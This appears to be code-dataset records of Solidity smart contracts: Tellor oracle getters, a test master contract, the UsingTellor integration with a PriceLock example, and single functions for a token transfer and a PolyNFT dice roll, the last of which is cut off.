// function getDisputeUintVars(TellorStorage.TellorStorageStruct storage self,uint _disputeId,bytes32 _data) internal view returns(uint){
// return self.disputesById[_disputeId].disputeUintVars[_data];
// }
// /**
// * @dev Gets the a value for the latest timestamp available
// * @return value for timestamp of last proof of work submited
// * @return true if the is a timestamp for the lastNewValue
// */
// function getLastNewValue(TellorStorage.TellorStorageStruct storage self) internal view returns(uint,bool){
// return (retrieveData(self,self.requestIdByTimestamp[self.uintVars[keccak256("timeOfLastNewValue")]], self.uintVars[keccak256("timeOfLastNewValue")]),true);
// }
// /**
// * @dev Gets the a value for the latest timestamp available
// * @param _requestId being requested
// * @return value for timestamp of last proof of work submited and if true if it exist or 0 and false if it doesn't
// */
// function getLastNewValueById(TellorStorage.TellorStorageStruct storage self,uint _requestId) internal view returns(uint,bool){
// TellorStorage.Request storage _request = self.requestDetails[_requestId];
// if(_request.requestTimestamps.length > 0){
// return (retrieveData(self,_requestId,_request.requestTimestamps[_request.requestTimestamps.length - 1]),true);
// }
// else{
// return (0,false);
// }
// }
// /**
// * @dev Gets blocknumber for mined timestamp
// * @param _requestId to look up
// * @param _timestamp is the timestamp to look up blocknumber
// * @return uint of the blocknumber which the dispute was mined
// */
// function getMinedBlockNum(TellorStorage.TellorStorageStruct storage self,uint _requestId, uint _timestamp) internal view returns(uint){
// return self.requestDetails[_requestId].minedBlockNum[_timestamp];
// }
// /**
// * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp
// * @param _requestId to look up
// * @param _timestamp is the timestamp to look up miners for
// * @return the 5 miners' addresses
// */
// function getMinersByRequestIdAndTimestamp(TellorStorage.TellorStorageStruct storage self, uint _requestId, uint _timestamp) internal view returns(address[5] memory){
// return self.requestDetails[_requestId].minersByValue[_timestamp];
// }
// /**
// * @dev Get the name of the token
// * @return string of the token name
// */
// function getName(TellorStorage.TellorStorageStruct storage self) internal pure returns(string memory){
// return "Tellor Tributes";
// }
/**
* @dev Counts the number of values that have been submited for the request
* if called for the currentRequest being mined it can tell you how many miners have submitted a value for that
* request so far
* @param _requestId the requestId to look up
* @return uint count of the number of values received for the requestId
*/
function getNewValueCountbyRequestId(TellorStorage.TellorStorageStruct storage self, uint _requestId) internal view returns(uint){
return self.requestDetails[_requestId].requestTimestamps.length;
}
// /**
// * @dev Getter function for the specified requestQ index
// * @param _index to look up in the requestQ array
// * @return uint of reqeuestId
// */
// function getRequestIdByRequestQIndex(TellorStorage.TellorStorageStruct storage self, uint _index) internal view returns(uint){
// require(_index <= 50);
// return self.requestIdByRequestQIndex[_index];
// }
// /**
// * @dev Getter function for requestId based on timestamp
// * @param _timestamp to check requestId
// * @return uint of reqeuestId
// */
// function getRequestIdByTimestamp(TellorStorage.TellorStorageStruct storage self, uint _timestamp) internal view returns(uint){
// return self.requestIdByTimestamp[_timestamp];
// }
/**
* @dev Getter function for requestId based on the qeuaryHash
* @param _queryHash hash(of string api and granularity) to check if a request already exists
* @return uint requestId
*/
function getRequestIdByQueryHash(TellorStorage.TellorStorageStruct storage self, bytes32 _queryHash) internal view returns(uint){
return self.requestIdByQueryHash[_queryHash];
}
// /**
// * @dev Getter function for the requestQ array
// * @return the requestQ arrray
// */
// function getRequestQ(TellorStorage.TellorStorageStruct storage self) view internal returns(uint[51] memory){
// return self.requestQ;
// }
// *
// * @dev Allowes access to the uint variables saved in the apiUintVars under the requestDetails struct
// * for the requestId specified
// * @param _requestId to look up
// * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is
// * the variables/strings used to save the data in the mapping. The variables names are
// * commented out under the apiUintVars under the requestDetails struct
// * @return uint value of the apiUintVars specified in _data for the requestId specified
// function getRequestUintVars(TellorStorage.TellorStorageStruct storage self,uint _requestId,bytes32 _data) internal view returns(uint){
// return self.requestDetails[_requestId].apiUintVars[_data];
// }
/**
* @dev Gets the API struct variables that are not mappings
* @param _requestId to look up
* @return string of api to query
* @return string of symbol of api to query
* @return bytes32 hash of string
* @return bytes32 of the granularity(decimal places) requested
* @return uint of index in requestQ array
* @return uint of current payout/tip for this requestId
*/
function getRequestVars(TellorStorage.TellorStorageStruct storage self,uint _requestId) internal view returns(string memory,string memory, bytes32,uint, uint, uint) {
TellorStorage.Request storage _request = self.requestDetails[_requestId];
return (_request.queryString,_request.dataSymbol,_request.queryHash, _request.apiUintVars[keccak256("granularity")],_request.apiUintVars[keccak256("requestQPosition")],_request.apiUintVars[keccak256("totalTip")]);
}
// /**
// * @dev This function allows users to retireve all information about a staker
// * @param _staker address of staker inquiring about
// * @return uint current state of staker
// * @return uint startDate of staking
// */
// function getStakerInfo(TellorStorage.TellorStorageStruct storage self,address _staker) internal view returns(uint,uint){
// return (self.stakerDetails[_staker].currentStatus,self.stakerDetails[_staker].startDate);
// }
// /**
// * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp
// * @param _requestId to look up
// * @param _timestamp is the timestampt to look up miners for
// * @return address[5] array of 5 addresses ofminers that mined the requestId
// */
// function getSubmissionsByTimestamp(TellorStorage.TellorStorageStruct storage self, uint _requestId, uint _timestamp) internal view returns(uint[5] memory){
// return self.requestDetails[_requestId].valuesByTimestamp[_timestamp];
// }
// /**
// * @dev Get the symbol of the token
// * @return string of the token symbol
// */
// function getSymbol(TellorStorage.TellorStorageStruct storage self) internal pure returns(string memory){
// return "TT";
// }
/**
* @dev Gets the timestamp for the value based on their index
* @param _requestID is the requestId to look up
* @param _index is the value index to look up
* @return uint timestamp
*/
function getTimestampbyRequestIDandIndex(TellorStorage.TellorStorageStruct storage self,uint _requestID, uint _index) internal view returns(uint){
return self.requestDetails[_requestID].requestTimestamps[_index];
}
// /**
// * @dev Getter for the variables saved under the TellorStorageStruct uintVars variable
// * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is
// * the variables/strings used to save the data in the mapping. The variables names are
// * commented out under the uintVars under the TellorStorageStruct struct
// * This is an example of how data is saved into the mapping within other functions:
// * self.uintVars[keccak256("stakerCount")]
// * @return uint of specified variable
// */
// function getUintVar(TellorStorage.TellorStorageStruct storage self,bytes32 _data) view internal returns(uint){
// return self.uintVars[_data];
// }
/**
* @dev Getter function for next requestId on queue/request with highest payout at time the function is called
* @return onDeck/info on request with highest payout-- RequestId, Totaltips, and API query string
*/
function getVariablesOnDeck(TellorStorage.TellorStorageStruct storage self) internal view returns(uint, uint,string memory){
uint newRequestId = getTopRequestID(self);
return (newRequestId,self.requestDetails[newRequestId].apiUintVars[keccak256("totalTip")],self.requestDetails[newRequestId].queryString);
}
/**
* @dev Getter function for the request with highest payout. This function is used within the getVariablesOnDeck function
* @return uint _requestId of request with highest payout at the time the function is called
*/
function getTopRequestID(TellorStorage.TellorStorageStruct storage self) internal view returns(uint _requestId){
uint _max;
uint _index;
(_max,_index) = Utilities.getMax(self.requestQ);
_requestId = self.requestIdByRequestQIndex[_index];
}
/**
* @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp
* @param _requestId to look up
* @param _timestamp is the timestamp to look up miners for
* @return bool true if requestId/timestamp is under dispute
*/
function isInDispute(TellorStorage.TellorStorageStruct storage self, uint _requestId, uint _timestamp) internal view returns(bool){
return self.requestDetails[_requestId].inDispute[_timestamp];
}
/**
* @dev Retreive value from oracle based on requestId/timestamp
* @param _requestId being requested
* @param _timestamp to retreive data/value from
* @return uint value for requestId/timestamp submitted
*/
function retrieveData(TellorStorage.TellorStorageStruct storage self, uint _requestId, uint _timestamp) internal view returns (uint) {
return self.requestDetails[_requestId].finalValues[_timestamp];
}
// /**
// * @dev Getter for the total_supply of oracle tokens
// * @return uint total supply
// */
// function totalSupply(TellorStorage.TellorStorageStruct storage self) internal view returns (uint) {
// return self.uintVars[keccak256("total_supply")];
// }
}
/**
* @title Tellor Getters
* @dev Oracle contract with all tellor getter functions. The logic for the functions on this contract
* is saved on the TellorGettersLibrary, TellorTransfer, TellorGettersLibrary, and TellorStake
*/
contract TellorGetters{
using SafeMath for uint256;
using TellorTransfer for TellorStorage.TellorStorageStruct;
using TellorGettersLibrary for TellorStorage.TellorStorageStruct;
//using TellorStake for TellorStorage.TellorStorageStruct;
TellorStorage.TellorStorageStruct tellor;
// *
// * @param _user address
// * @param _spender address
// * @return Returns the remaining allowance of tokens granted to the _spender from the _user
// function allowance(address _user, address _spender) external view returns (uint) {
// return tellor.allowance(_user,_spender);
// }
/**
* @dev This function returns whether or not a given user is allowed to trade a given amount
* @param _user address
* @param _amount uint of amount
* @return true if the user is alloed to trade the amount specified
*/
function allowedToTrade(address _user,uint _amount) external view returns(bool){
return tellor.allowedToTrade(_user,_amount);
}
/**
* @dev Gets balance of owner specified
* @param _user is the owner address used to look up the balance
* @return Returns the balance associated with the passed in _user
*/
function balanceOf(address _user) external view returns (uint) {
return tellor.balanceOf(_user);
}
/**
* @dev Queries the balance of _user at a specific _blockNumber
* @param _user The address from which the balance will be retrieved
* @param _blockNumber The block number when the balance is queried
* @return The balance at _blockNumber
*/
function balanceOfAt(address _user, uint _blockNumber) external view returns (uint) {
return tellor.balanceOfAt(_user,_blockNumber);
}
// /**
// * @dev This function tells you if a given challenge has been completed by a given miner
// * @param _challenge the challenge to search for
// * @param _miner address that you want to know if they solved the challenge
// * @return true if the _miner address provided solved the
// */
// function didMine(bytes32 _challenge, address _miner) external view returns(bool){
// return tellor.didMine(_challenge,_miner);
// }
// /**
// * @dev Checks if an address voted in a given dispute
// * @param _disputeId to look up
// * @param _address to look up
// * @return bool of whether or not party voted
// */
// function didVote(uint _disputeId, address _address) external view returns(bool){
// return tellor.didVote(_disputeId,_address);
// }
// /**
// * @dev allows Tellor to read data from the addressVars mapping
// * @param _data is the keccak256("variable_name") of the variable that is being accessed.
// * These are examples of how the variables are saved within other functions:
// * addressVars[keccak256("_owner")]
// * addressVars[keccak256("tellorContract")]
// */
// function getAddressVars(bytes32 _data) view external returns(address){
// return tellor.getAddressVars(_data);
// }
// /**
// * @dev Gets all dispute variables
// * @param _disputeId to look up
// * @return bytes32 hash of dispute
// * @return bool executed where true if it has been voted on
// * @return bool disputeVotePassed
// * @return bool isPropFork true if the dispute is a proposed fork
// * @return address of reportedMiner
// * @return address of reportingParty
// * @return address of proposedForkAddress
// * @return uint of requestId
// * @return uint of timestamp
// * @return uint of value
// * @return uint of minExecutionDate
// * @return uint of numberOfVotes
// * @return uint of blocknumber
// * @return uint of minerSlot
// * @return uint of quorum
// * @return uint of fee
// * @return int count of the current tally
// */
// function getAllDisputeVars(uint _disputeId) public view returns(bytes32, bool, bool, bool, address, address, address,uint[9] memory, int){
// return tellor.getAllDisputeVars(_disputeId);
// }
// /**
// * @dev Getter function for variables for the requestId being currently mined(currentRequestId)
// * @return current challenge, curretnRequestId, level of difficulty, api/query string, and granularity(number of decimals requested), total tip for the request
// */
// function getCurrentVariables() external view returns(bytes32, uint, uint,string memory,uint,uint){
// return tellor.getCurrentVariables();
// }
// *
// * @dev Checks if a given hash of miner,requestId has been disputed
// * @param _hash is the sha256(abi.encodePacked(_miners[2],_requestId));
// * @return uint disputeId
// function getDisputeIdByDisputeHash(bytes32 _hash) external view returns(uint){
// return tellor.getDisputeIdByDisputeHash(_hash);
// }
// /**
// * @dev Checks for uint variables in the disputeUintVars mapping based on the disuputeId
// * @param _disputeId is the dispute id;
// * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is
// * the variables/strings used to save the data in the mapping. The variables names are
// * commented out under the disputeUintVars under the Dispute struct
// * @return uint value for the bytes32 data submitted
// */
// function getDisputeUintVars(uint _disputeId,bytes32 _data) external view returns(uint){
// return tellor.getDisputeUintVars(_disputeId,_data);
// }
// /**
// * @dev Gets the a value for the latest timestamp available
// * @return value for timestamp of last proof of work submited
// * @return true if the is a timestamp for the lastNewValue
// */
// function getLastNewValue() external view returns(uint,bool){
// return tellor.getLastNewValue();
// }
// /**
// * @dev Gets the a value for the latest timestamp available
// * @param _requestId being requested
// * @return value for timestamp of last proof of work submited and if true if it exist or 0 and false if it doesn't
// */
// function getLastNewValueById(uint _requestId) external view returns(uint,bool){
// return tellor.getLastNewValueById(_requestId);
// }
// /**
// * @dev Gets blocknumber for mined timestamp
// * @param _requestId to look up
// * @param _timestamp is the timestamp to look up blocknumber
// * @return uint of the blocknumber which the dispute was mined
// */
// function getMinedBlockNum(uint _requestId, uint _timestamp) external view returns(uint){
// return tellor.getMinedBlockNum(_requestId,_timestamp);
// }
// /**
// * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp
// * @param _requestId to look up
// * @param _timestamp is the timestamp to look up miners for
// * @return the 5 miners' addresses
// */
// function getMinersByRequestIdAndTimestamp(uint _requestId, uint _timestamp) external view returns(address[5] memory){
// return tellor.getMinersByRequestIdAndTimestamp(_requestId,_timestamp);
// }
// /**
// * @dev Get the name of the token
// * return string of the token name
// */
// function getName() external view returns(string memory){
// return tellor.getName();
// }
/**
* @dev Counts the number of values that have been submited for the request
* if called for the currentRequest being mined it can tell you how many miners have submitted a value for that
* request so far
* @param _requestId the requestId to look up
* @return uint count of the number of values received for the requestId
*/
function getNewValueCountbyRequestId(uint _requestId) external view returns(uint){
return tellor.getNewValueCountbyRequestId(_requestId);
}
// /**
// * @dev Getter function for the specified requestQ index
// * @param _index to look up in the requestQ array
// * @return uint of reqeuestId
// */
// function getRequestIdByRequestQIndex(uint _index) external view returns(uint){
// return tellor.getRequestIdByRequestQIndex(_index);
// }
// /**
// * @dev Getter function for requestId based on timestamp
// * @param _timestamp to check requestId
// * @return uint of reqeuestId
// */
// function getRequestIdByTimestamp(uint _timestamp) external view returns(uint){
// return tellor.getRequestIdByTimestamp(_timestamp);
// }
/**
* @dev Getter function for requestId based on the queryHash
* @param _request is the hash(of string api and granularity) to check if a request already exists
* @return uint requestId
*/
function getRequestIdByQueryHash(bytes32 _request) external view returns(uint){
return tellor.getRequestIdByQueryHash(_request);
}
// /**
// * @dev Getter function for the requestQ array
// * @return the requestQ arrray
// */
// function getRequestQ() view public returns(uint[51] memory){
// return tellor.getRequestQ();
// }
// /**
// * @dev Allowes access to the uint variables saved in the apiUintVars under the requestDetails struct
// * for the requestId specified
// * @param _requestId to look up
// * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is
// * the variables/strings used to save the data in the mapping. The variables names are
// * commented out under the apiUintVars under the requestDetails struct
// * @return uint value of the apiUintVars specified in _data for the requestId specified
// */
// function getRequestUintVars(uint _requestId,bytes32 _data) external view returns(uint){
// return tellor.getRequestUintVars(_requestId,_data);
// }
/**
* @dev Gets the API struct variables that are not mappings
* @param _requestId to look up
* @return string of api to query
* @return string of symbol of api to query
* @return bytes32 hash of string
* @return bytes32 of the granularity(decimal places) requested
* @return uint of index in requestQ array
* @return uint of current payout/tip for this requestId
*/
function getRequestVars(uint _requestId) external view returns(string memory, string memory,bytes32,uint, uint, uint) {
return tellor.getRequestVars(_requestId);
}
// /**
// * @dev This function allows users to retireve all information about a staker
// * @param _staker address of staker inquiring about
// * @return uint current state of staker
// * @return uint startDate of staking
// */
// function getStakerInfo(address _staker) external view returns(uint,uint){
// return tellor.getStakerInfo(_staker);
// }
// /**
// * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp
// * @param _requestId to look up
// * @param _timestamp is the timestampt to look up miners for
// * @return address[5] array of 5 addresses ofminers that mined the requestId
// */
// function getSubmissionsByTimestamp(uint _requestId, uint _timestamp) external view returns(uint[5] memory){
// return tellor.getSubmissionsByTimestamp(_requestId,_timestamp);
// }
// /**
// * @dev Get the symbol of the token
// * return string of the token symbol
// */
// function getSymbol() external view returns(string memory){
// return tellor.getSymbol();
// }
/**
* @dev Gets the timestamp for the value based on their index
* @param _requestID is the requestId to look up
* @param _index is the value index to look up
* @return uint timestamp
*/
function getTimestampbyRequestIDandIndex(uint _requestID, uint _index) external view returns(uint){
return tellor.getTimestampbyRequestIDandIndex(_requestID,_index);
}
// /**
// * @dev Getter for the variables saved under the TellorStorageStruct uintVars variable
// * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is
// * the variables/strings used to save the data in the mapping. The variables names are
// * commented out under the uintVars under the TellorStorageStruct struct
// * This is an example of how data is saved into the mapping within other functions:
// * self.uintVars[keccak256("stakerCount")]
// * @return uint of specified variable
// */
// function getUintVar(bytes32 _data) view public returns(uint){
// return tellor.getUintVar(_data);
// }
/**
* @dev Getter function for next requestId on queue/request with highest payout at time the function is called
* @return onDeck/info on request with highest payout-- RequestId, Totaltips, and API query string
*/
function getVariablesOnDeck() external view returns(uint, uint,string memory){
return tellor.getVariablesOnDeck();
}
/**
* @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp
* @param _requestId to look up
* @param _timestamp is the timestamp to look up miners for
* @return bool true if requestId/timestamp is under dispute
*/
function isInDispute(uint _requestId, uint _timestamp) external view returns(bool){
return tellor.isInDispute(_requestId,_timestamp);
}
/**
* @dev Retreive value from oracle based on timestamp
* @param _requestId being requested
* @param _timestamp to retreive data/value from
* @return value for timestamp submitted
*/
function retrieveData(uint _requestId, uint _timestamp) external view returns (uint) {
return tellor.retrieveData(_requestId,_timestamp);
}
// *
// * @dev Getter for the total_supply of oracle tokens
// * @return uint total supply
// function totalSupply() external view returns (uint) {
// return tellor.totalSupply();
// }
}
/**** TellorMaster Test Contract***/
/*WARNING: This contract is used for the delegate calls to the Test Tellor contract
wich excludes mining for testing purposes
This has bee adapted for projects testing Tellor integration
**/
/**
* @title Tellor Master
* @dev This is the Master contract with all tellor getter functions and delegate call to Tellor.
* The logic for the functions on this contract is saved on the TellorGettersLibrary, TellorTransfer,
* TellorGettersLibrary, and TellorStake
*/
contract TellorMaster is TellorGetters{
event NewTellorAddress(address _newTellor);
/**
* @dev The constructor sets the original `tellorStorageOwner` of the contract to the sender
* account, the tellor contract to the Tellor master address and owner to the Tellor master owner address
* @param _tellorContract is the address for the tellor contract
*/
constructor (address _tellorContract) public{
init();
tellor.addressVars[keccak256("_owner")] = msg.sender;
tellor.addressVars[keccak256("_deity")] = msg.sender;
tellor.addressVars[keccak256("tellorContract")]= _tellorContract;
emit NewTellorAddress(_tellorContract);
}
/**
* @dev This function stakes the five initial miners, sets the supply and all the constant variables.
* This function is called by the constructor function on TellorMaster.sol
*/
function init() internal {
require(tellor.uintVars[keccak256("decimals")] == 0);
//Give this contract 6000 Tellor Tributes so that it can stake the initial 6 miners
TellorTransfer.updateBalanceAtNow(tellor.balances[address(this)], 2**256-1 - 6000e18);
// //the initial 5 miner addresses are specfied below
// //changed payable[5] to 6
address payable[6] memory _initalMiners = [address(0xE037EC8EC9ec423826750853899394dE7F024fee),
address(0xcdd8FA31AF8475574B8909F135d510579a8087d3),
address(0xb9dD5AfD86547Df817DA2d0Fb89334A6F8eDd891),
address(0x230570cD052f40E14C14a81038c6f3aa685d712B),
address(0x3233afA02644CCd048587F8ba6e99b3C00A34DcC),
address(0xe010aC6e0248790e08F42d5F697160DEDf97E024)];
//Stake each of the 5 miners specified above
for(uint i=0;i<6;i++){//6th miner to allow for dispute
//Miner balance is set at 1000e18 at the block that this function is ran
TellorTransfer.updateBalanceAtNow(tellor.balances[_initalMiners[i]],1000e18);
//newStake(self, _initalMiners[i]);
}
//update the total suppply
tellor.uintVars[keccak256("total_supply")] += 6000e18;//6th miner to allow for dispute
//set Constants
tellor.uintVars[keccak256("decimals")] = 18;
tellor.uintVars[keccak256("targetMiners")] = 200;
tellor.uintVars[keccak256("stakeAmount")] = 1000e18;
tellor.uintVars[keccak256("disputeFee")] = 970e18;
tellor.uintVars[keccak256("timeTarget")]= 600;
tellor.uintVars[keccak256("timeOfLastNewValue")] = now - now % tellor.uintVars[keccak256("timeTarget")];
tellor.uintVars[keccak256("difficulty")] = 1;
}
/**
* @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp
* @dev Only needs to be in library
* @param _newDeity the new Deity in the contract
*/
function changeDeity(address _newDeity) external{
tellor.changeDeity(_newDeity);
}
/**
* @dev allows for the deity to make fast upgrades. Deity should be 0 address if decentralized
* @param _tellorContract the address of the new Tellor Contract
*/
function changeTellorContract(address _tellorContract) external{
tellor.changeTellorContract(_tellorContract);
}
/**
* @dev This is the fallback function that allows contracts to call the tellor contract at the address stored
*/
function () external payable {
address addr = tellor.addressVars[keccak256("tellorContract")];
bytes memory _calldata = msg.data;
assembly {
let result := delegatecall(not(0), addr, add(_calldata, 0x20), mload(_calldata), 0, 0)
let size := returndatasize
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
// revert instead of invalid() bc if the underlying call failed with invalid() it already wasted gas.
// if the call returned error data, forward it
switch result case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
/*
* @title Price/numeric Pull Oracle mapping contract
*/
contract OracleIDDescriptions {
/*Variables*/
mapping(uint=>bytes32) tellorIDtoBytesID;
mapping(bytes32 => uint) bytesIDtoTellorID;
mapping(uint => uint) tellorCodeToStatusCode;
mapping(uint => uint) statusCodeToTellorCode;
mapping(uint => int) tellorIdtoAdjFactor;
/*Events*/
event TellorIdMappedToBytes(uint _requestID, bytes32 _id);
event StatusMapped(uint _tellorStatus, uint _status);
event AdjFactorMapped(uint _requestID, int _adjFactor);
/**
* @dev This function allows the user to map the tellor's Id to it's _adjFactor and
* to match the standarized granularity
* @param _tellorId uint the tellor status
* @param _adjFactor is 1eN where N is the number of decimals to convert to ADO standard
*/
function defineTellorIdtoAdjFactor(uint _tellorId, int _adjFactor) external{
require(tellorIdtoAdjFactor[_tellorId] == 0, "Already Set");
tellorIdtoAdjFactor[_tellorId] = _adjFactor;
emit AdjFactorMapped(_tellorId, _adjFactor);
}
/**
* @dev This function allows the user to map the tellor uint data status code to the standarized
* ADO uint status code such as null, retreived etc...
* @param _tellorStatus uint the tellor status
* @param _status the ADO standarized uint status
*/
function defineTellorCodeToStatusCode(uint _tellorStatus, uint _status) external{
require(tellorCodeToStatusCode[_tellorStatus] == 0, "Already Set");
tellorCodeToStatusCode[_tellorStatus] = _status;
statusCodeToTellorCode[_status] = _tellorStatus;
emit StatusMapped(_tellorStatus, _status);
}
/**
* @dev Allows user to map the standarized bytes32 Id to a specific requestID from Tellor
* The dev should ensure the _requestId exists otherwise request the data on Tellor to get a requestId
* @param _requestID is the existing Tellor RequestID
* @param _id is the descption of the ID in bytes
*/
function defineTellorIdToBytesID(uint _requestID, bytes32 _id) external{
require(tellorIDtoBytesID[_requestID] == bytes32(0), "Already Set");
tellorIDtoBytesID[_requestID] = _id;
bytesIDtoTellorID[_id] = _requestID;
emit TellorIdMappedToBytes(_requestID,_id);
}
/**
* @dev Getter function for the uint Tellor status code from the specified uint ADO standarized status code
* @param _status the uint ADO standarized status
* @return _tellorStatus uint
*/
function getTellorStatusFromStatus(uint _status) public view returns(uint _tellorStatus){
return statusCodeToTellorCode[_status];
}
/**
* @dev Getter function of the uint ADO standarized status code from the specified Tellor uint status
* @param _tellorStatus uint
* @return _status the uint ADO standarized status
*/
function getStatusFromTellorStatus (uint _tellorStatus) public view returns(uint _status) {
return tellorCodeToStatusCode[_tellorStatus];
}
/**
* @dev Getter function of the Tellor RequestID based on the specified bytes32 ADO standaraized _id
* @param _id is the bytes32 descriptor mapped to an existing Tellor's requestId
* @return _requestId is Tellor's requestID corresnpoding to _id
*/
function getTellorIdFromBytes(bytes32 _id) public view returns(uint _requestId) {
return bytesIDtoTellorID[_id];
}
/**
* @dev Getter function of the Tellor RequestID based on the specified bytes32 ADO standaraized _id
* @param _id is the bytes32 descriptor mapped to an existing Tellor's requestId
* @return _requestId is Tellor's requestID corresnpoding to _id
*/
function getGranularityAdjFactor(bytes32 _id) public view returns(int adjFactor) {
uint requestID = bytesIDtoTellorID[_id];
adjFactor = tellorIdtoAdjFactor[requestID];
return adjFactor;
}
/**
* @dev Getter function of the bytes32 ADO standaraized _id based on the specified Tellor RequestID
* @param _requestId is Tellor's requestID
* @return _id is the bytes32 descriptor mapped to an existing Tellor's requestId
*/
function getBytesFromTellorID(uint _requestId) public view returns(bytes32 _id) {
return tellorIDtoBytesID[_requestId];
}
}
pragma solidity >=0.5.0 <0.7.0;
/**
* @dev EIP2362 Interface for pull oracles
* https://github.com/tellor-io/EIP-2362
*/
interface EIP2362Interface{
/**
* @dev Exposed function pertaining to EIP standards
* @param _id bytes32 ID of the query
* @return int,uint,uint returns the value, timestamp, and status code of query
*/
function valueFor(bytes32 _id) external view returns(int256,uint256,uint256);
}
/**
* @title UserContract
* This contracts creates for easy integration to the Tellor System
* by allowing smart contracts to read data off Tellor
*/
contract UsingTellor is EIP2362Interface{
address payable public tellorStorageAddress;
address public oracleIDDescriptionsAddress;
TellorMaster _tellorm;
OracleIDDescriptions descriptions;
event NewDescriptorSet(address _descriptorSet);
constructor(address payable _storage) public {
tellorStorageAddress = _storage;
_tellorm = TellorMaster(tellorStorageAddress);
}
/*Functions*/
/*
* @dev Allows the owner to set the address for the oracleID descriptors
* used by the ADO members for price key value pairs standarization
* _oracleDescriptors is the address for the OracleIDDescriptions contract
*/
function setOracleIDDescriptors(address _oracleDescriptors) external {
require(oracleIDDescriptionsAddress == address(0), "Already Set");
oracleIDDescriptionsAddress = _oracleDescriptors;
descriptions = OracleIDDescriptions(_oracleDescriptors);
emit NewDescriptorSet(_oracleDescriptors);
}
/**
* @dev Allows the user to get the latest value for the requestId specified
* @param _requestId is the requestId to look up the value for
* @return bool true if it is able to retreive a value, the value, and the value's timestamp
*/
function getCurrentValue(uint256 _requestId) public view returns (bool ifRetrieve, uint256 value, uint256 _timestampRetrieved) {
return getDataBefore(_requestId,now);
}
/**
* @dev Allows the user to get the latest value for the requestId specified using the
* ADO specification for the standard inteface for price oracles
* @param _bytesId is the ADO standarized bytes32 price/key value pair identifier
* @return the timestamp, outcome or value/ and the status code (for retreived, null, etc...)
*/
function valueFor(bytes32 _bytesId) external view returns (int value, uint256 timestamp, uint status) {
uint _id = descriptions.getTellorIdFromBytes(_bytesId);
int n = descriptions.getGranularityAdjFactor(_bytesId);
if (_id > 0){
bool _didGet;
uint256 _returnedValue;
uint256 _timestampRetrieved;
(_didGet,_returnedValue,_timestampRetrieved) = getDataBefore(_id,now);
if(_didGet){
return (int(_returnedValue)*n,_timestampRetrieved, descriptions.getStatusFromTellorStatus(1));
}
else{
return (0,0,descriptions.getStatusFromTellorStatus(2));
}
}
return (0, 0, descriptions.getStatusFromTellorStatus(0));
}
/**
* @dev Allows the user to get the first value for the requestId after the specified timestamp
* @param _requestId is the requestId to look up the value for
* @param _timestamp after which to search for first verified value
* @return bool true if it is able to retreive a value, the value, and the value's timestamp
*/
function getDataBefore(uint256 _requestId, uint256 _timestamp)
public
view
returns (bool _ifRetrieve, uint256 _value, uint256 _timestampRetrieved)
{
uint256 _count = _tellorm.getNewValueCountbyRequestId(_requestId);
if (_count > 0) {
for (uint256 i = _count; i > 0; i--) {
uint256 _time = _tellorm.getTimestampbyRequestIDandIndex(_requestId, i - 1);
if (_time > 0 && _time <= _timestamp && _tellorm.isInDispute(_requestId,_time) == false) {
return (true, _tellorm.retrieveData(_requestId, _time), _time);
}
}
}
return (false, 0, 0);
}
}
contract PriceLock is UsingTellor {
// custom data structure to hold locked funds and time
uint256 public tellorID;
uint256 public currentValue;
bool _didGet;
uint256 _timestamp;
struct accountData {
uint balance;
uint releaseTime;
uint targetPrice;
}
// only one locked account per address
mapping (address => accountData) accounts;
constructor(uint _tellorID, address payable _tellorAddress) UsingTellor(_tellorAddress) public {
tellorID = _tellorID;
}
function payIn(uint lockTimeS, uint price) public payable {
// send some amount (in Wei) when calling this function.
// the amount will then be placed in a locked account
// the funds will be released once the indicated lock time in seconds
// passed or target price is reached and can only be retrieved by the same account which was
// depositing them - highlighting the intrinsic security model
// offered by a blockchain system like Ethereum
uint amount = msg.value;
payOut();
if (accounts[msg.sender].balance > 0)
msg.sender.transfer(msg.value);
else {
accounts[msg.sender].targetPrice = price;
accounts[msg.sender].balance = amount;
accounts[msg.sender].releaseTime = now + lockTimeS;
}
}
function payOut() public{
(_didGet,currentValue,_timestamp) = getCurrentValue(tellorID);
// check if user has funds due for pay out because lock time is over or targetprice is reached
if ((accounts[msg.sender].balance != 0 && accounts[msg.sender].releaseTime < now) || (accounts[msg.sender].balance != 0 && accounts[msg.sender].targetPrice < currentValue)) {
msg.sender.transfer(accounts[msg.sender].balance);
accounts[msg.sender].balance = 0;
accounts[msg.sender].releaseTime = 0;
}
}
function getMyLockedFunds() public view returns (uint) {
return accounts[msg.sender].balance;
}
function getMyTargetPrice() public view returns (uint) {
return accounts[msg.sender].targetPrice;
}
function getMyReleaseTime() public view returns (uint) {
return accounts[msg.sender].releaseTime;
}
}
|
Completes POWO transfers by updating the balances on the current block number _from address to transfer from _to addres to transfer to _amount to transfer/
|
function doTransfer(TellorStorage.TellorStorageStruct storage self, address _from, address _to, uint _amount) public {
require(_amount > 0);
require(_to != address(0));
uint previousBalance = balanceOfAt(self,_from, block.number);
updateBalanceAtNow(self.balances[_from], previousBalance - _amount);
previousBalance = balanceOfAt(self,_to, block.number);
updateBalanceAtNow(self.balances[_to], previousBalance + _amount);
emit Transfer(_from, _to, _amount);
}
| 1,755,368
|
./partial_match/8453/0x4073DF7450d8FC19fd981DaA24e7326c38982F30/sources/PolyNFT.sol
|
polyToken.burn(rollFee); burn POLY starter player set now to lastRewardTime for calc elapsed of first claiming For test uint curPos = (uint)casePositions[player.curPos]; if user passed Start case if user lands disable rewards 24h if user lands farming rewards bonus x1.05 Remove disable rewards Move the case you want
|
function rollDice() external {
console.log("player addr", msg.sender);
if (!rollFree) {
require(
polyToken.balanceOf(msg.sender) >= rollFee,
"Not enough $POLY to purchase NFTs."
);
require(
polyToken.allowance(msg.sender, address(this)) >= rollFee,
"Allowance isn't enough"
);
polyToken.transferFrom(msg.sender, address(0), rollFee);
}
